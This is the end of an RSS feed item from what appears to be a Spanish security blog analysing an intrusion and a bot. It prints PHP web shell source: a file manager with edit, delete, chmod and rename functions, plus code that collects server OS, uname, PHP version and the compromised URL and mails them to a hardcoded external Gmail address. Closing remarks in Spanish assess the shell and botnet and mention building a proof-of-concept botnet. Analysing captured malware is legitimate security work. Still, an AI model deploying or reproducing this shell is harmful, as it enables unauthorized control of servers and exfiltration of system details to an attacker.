       if ($file != '.') {
           if ($colorn == 0) {
            $color = "style=\"background-color: #FF9900\"";
           }
           elseif ($colorn == 1) {
            $color = "style=\"background-color:  #FFCC33\"";
           }
           if (@is_dir("$chdir"."$file")) {
            $file = $file.'/';
            $mode = 'chdir';
           } else {
              $mode = 'edit';
            }
           if (@substr("$chdir", strlen($chdir) -1, 1) != '/') {
             $chdir .= '/';
           }
           if ($file == '../') {
            $lenpath = strlen($chdir); $baras = 0;
            for ($i = 0;$i < $lenpath;$i++) { if ($chdir{$i} == '/') {
$baras++; } }
            $chdir_ = explode("/", $chdir);
            $chdirpox = str_replace($chdir_[$baras-1].'/', "", $chdir);
           }
           $perms = @fileperms ("$chdir"."$file");
           if ($perms == '') {
            $perms = '???';
           }
           $size = @filesize ("$chdir"."$file");
           $size = $size / 1024;
           $size = explode(".", $size);
           if (@$size[1] != '') {
            $size = $size[0].'.'.@substr("$size[1]", 0, 2);
           } else {
              $size = $size[0];
            }
           if ($size == 0) {
            if ($mode == 'chdir') {
             $size = '???';
            }
           }
           echo "
<tr>";
    echo "
<td align=\"center\" $color> $perms</td>

";
           if (@is_writable ("$chdir"."$file")) {
            if ($mode == 'chdir') {
             if ($file == '../') {
              echo "
<td $color> <b><a
href=\"{$fstring}&amp;chdir=$chdirpox\">TAG font color=\"#008000\">$file</font></a></b> </td>

";
             } else {
                echo "
<td $color> <b><a
href=\"{$fstring}&amp;chdir={$chdir}{$file}\">TAG font color=\"#008000\">$file</font></a> </b></td>

";
               }
            } else {
 if (is_readable("$chdir"."$file")) {
                echo "
<td $color> TAG a href=\"{$fstring}&amp;action=edit&amp;chdir=$chdir&amp;file=$file\">$file</a>
</td>

";
               } else {
                  echo "
<td $color> $file </td>

";
                 }
              }
           }
          else {
            if ($mode == 'chdir') {
             if ($file == '../') {
              echo "
<td $color> <a
href=\"{$fstring}&amp;chdir=$chdirpox\">$file</a>
</td>

";
             } else {
                echo "
<td $color> <a

href=\"{$fstring}&amp;chdir={$chdir}{$file}\">$file</a></td>

";

              }
            } else {
 if (@is_readable("$chdir"."$file")) {
                echo "
<td  $color> <a

href=\"{$fstring}&amp;action=edit&amp;chdir=$chdir&amp;file=$file\">$file</a>
</td>

";
               } else {
                  echo "
<td $color> $file</td>

";
                }
              }
            }
           echo "
<td align=\"right\" $color> $size KB</td>

";
           if ($mode == 'edit') {
            echo "
<td align=\"center\" $color> <a href=\"#{$file}\"

onclick=\"Rename('{$chdir}', '{$file}', '{$mode}')\">Rename</a> | <a

href=\"{$fstring}&amp;action=del&amp;chdir={$chdir}&amp;file={$file}&amp;type=file\">Del</a>

| <a href=\"#{$file}\" onclick=\"ChMod('$chdir', '$file')\">Chmod</a> | <a
href=\"#{$file}\"

onclick=\"Copy('{$chdir}', '{$file}')\">Copy</a> </td>

";
           } else {
              echo "
<td align=\"center\" $color> <a href=\"#{$file}\"

onclick=\"Rename('{$chdir}', '{$file}', '{$mode}')\">Rename</a> | <a

href=\"{$fstring}&amp;action=del&amp;chdir={$chdir}&amp;file={$file}&amp;type=dir\">Del</a>

| <a href=\"#{$file}\" onclick=\"ChMod('$chdir', '$file')\">Chmod</a> | Copy
</td>

";
             }
           echo "</tr>

";
           if ($colorn == 0) {
            $colorn = 1;
           }
           elseif ($colorn == 1) {
            $colorn = 0;
           }
       }
   }
   closedir($handle);
}

 $OS = @PHP_OS;
 $UNAME = @php_uname();
 $PHPv = @phpversion();
 $SafeMode = @ini_get('safe_mode');

 if ($SafeMode == '') { $SafeMode = "<i>OFF</i><BR>"; }
 else { $SafeMode = "<i>$SafeMode</i><BR>"; }

 $injek=($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);

 $psn=("OS = " . $OS . "<BR>UNAME = " . $UNAME . "<BR>PHPVersion = " .
$PHPv . "<BR>Safe

Mode = " . $SafeMode . "<BR>TAG font color=blue>http://" . $injek .
"</font><BR>Ingat jangan

Guna Target Ini.<BR>By: NABIL");

 $header = "From: $_SERVER[SERVER_ADMIN] <$from>\r\nReply-To:
$replyto\r\n";
 $header .= "MIME-Version: 1.0\r\n";
 If ($file_name) $header .= "Content-Type: multipart/mixed;
boundary=$uid\r\n";
 If ($file_name) $header .= "--$uid\r\n";
 $header .= "Content-Type: text/$contenttype\r\n";
 $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
 $header .= "$message\r\n";
 If ($file_name) $header .= "--$uid\r\n";
 If ($file_name) $header .= "Content-Type: $file_type;
name=\"$file_name\"\r\n";
 If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
 If ($file_name) $header .= "Content-Disposition: attachment;

filename=\"$file_name\"\r\n\r\n";
 If ($file_name) $header .= "$content\r\n";
 If ($file_name) $header .= "--$uid--";
 $to = ("haumil@gmail.com");
 $subject = ("Inbox linda.");
 mail($to,$subject,$psn,$header);

@include "$bn";
?>
 </table>
</fieldset>
</form>
</div>

</body>

</html>
</pre>
<p>Esta un poco mejor shell99, pero tampoco esta mal, lo que si es que se ve que han tenido tiempo no para desarrollar sino para encontrar los scripts y usarlos, interesante se ve que hay una o 2 personas que mas o menos le dan a la codificacion en perl y un poco en PHP pero en realidad las botnets no estan muy desarrolladas.</p>
<p>Esta decente el botnet, se puede tomar control de ella y obvamente no hacen mucho por generar una botnet mas compleja y mas grande, sin embargo me da la idea para desarrollar una de prueba de concepto durante estas fechas que ando de relax de programar en python para pruebas de volumen.</p>
<p>Bueno despues de tanto codigo .. me lanzo &#8230;.</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/analisis-de-una-intrusion-y-un-bot/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

